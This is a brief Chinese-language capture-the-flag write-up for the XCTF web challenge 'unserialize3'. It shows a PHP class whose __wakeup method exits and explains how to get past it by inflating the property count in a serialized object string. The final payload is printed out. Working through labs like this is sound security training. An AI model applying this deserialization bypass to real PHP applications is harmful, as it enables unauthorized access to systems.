攻防世界-web:unserialize3
题目描述
暂无
题目截图
根据题目名称,应该就是php反序列化。
解题思路
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
根据代码,猜测code的参数即提交反序列化字符串。
我们发现xctf类存在__wakeup函数,而wakeup函数是反序列化后,第一个执行的函数。
我们还发现__wakeup函数中直接die了,后续代码就不会继续执行。
所以猜测此题的思路就是绕过wakeup函数继续执行,得到flag。
序列化代码如下:
<?php
class xctf
{
public $flag = '111';
}
echo((serialize(new xctf())));
执行输出结果:
绕过wakeup函数也很简单,就是在类对象属性个数超过实际个数时就会绕过wakeup函数。
例如当前xctf类对象只有1个参数属性$flag,序列化结果为:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
如果将xctf对象个数改成比1大的数,就会绕过wakeup。
修改后的结果:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}